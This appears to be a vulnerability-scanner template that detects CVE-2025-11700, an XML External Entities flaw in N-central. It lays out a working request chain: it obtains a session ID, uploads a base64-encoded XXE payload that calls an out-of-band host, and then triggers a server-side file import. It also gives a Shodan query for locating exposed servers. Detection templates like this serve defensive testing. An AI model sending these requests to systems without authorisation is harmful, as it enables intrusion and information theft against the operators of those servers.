N-central - XML External Entities Injection

id: CVE-2025-11700

info:
  name: N-central - XML External Entities Injection
  author: DhiyaneshDK,horizon3ai
  severity: high
  description: |
    N-central versions < 2025.4 are vulnerable to an XML External Entities injection leading to information disclosure.
  impact: |
    Attackers can disclose sensitive information by exploiting XML External Entities injection.
  remediation: |
    Update to version 2025.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11700
    - https://github.com/horizon3ai/n-able_n-central_xxe_file_read/blob/main/ncentral_xxe_file_read.py
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"N-central Login"
  tags: cve,cve2025,n-central,xxe,oast,oob,vkev

flow: http(1) && http(2) && http(3)

variables:
  rand: "{{to_lower(rand_text_alpha(10))}}"
  xxe_payload: |-
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE servicetemplate [
    <!ENTITY % xxe SYSTEM "http://{{interactsh-url}}">
    %xxe;
    ]>
    <servicetemplate syntaxversion="2.1.0.0">
      <name>{{rand}}</name>
    </servicetemplate>

http:
  - raw:
      - |
        POST /dms/services/ServerUI HTTP/2
        Host: {{Hostname}}
        Content-Type: text/xml
        Soapaction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Body>
            <sessionHello>
              <applianceID>3</applianceID>
            </sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - SessionID
          - sessionHelloResponse
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        part: body
        name: sessionid
        group: 1
        regex:
          - '<SessionID[^>]*>(\d+)</SessionID>'
          - '<sessionId>(\d+)</sessionId>'
          - '<sessionID>(\d+)</sessionID>'
        internal: true

  - raw:
      - |
        POST /dms/services/ServerMMS HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <soapenv:Header/>
          <soapenv:Body>
            <ns1:applianceLogSubmit xmlns:ns1="http://www.n-able.com/mickey">
              <sessionID>{{sessionid}}</sessionID>
              <logType>NETWORK_CHECK_LOG</logType>
              <contents>{{base64(xxe_payload)}}</contents>
            </ns1:applianceLogSubmit>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        words:
          - Ok
          - Msg
        condition: and
        internal: true

  - raw:
      - |
        POST /dms/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: ""
        Content-Type: text/xml; charset=utf-8

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
          <soapenv:Header/>
          <soapenv:Body>
            <ns1:importServiceTemplateFromFile xmlns:ns1="http://www.n-able.com/mickey">
              <ns1:sessionId>{{sessionid}}</ns1:sessionId>
              <ns1:customerId>1</ns1:customerId>
              <ns1:filePath>/opt/nable/webapps/ROOT/applianceLog/network_check_log_3.log</ns1:filePath>
            </ns1:importServiceTemplateFromFile>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
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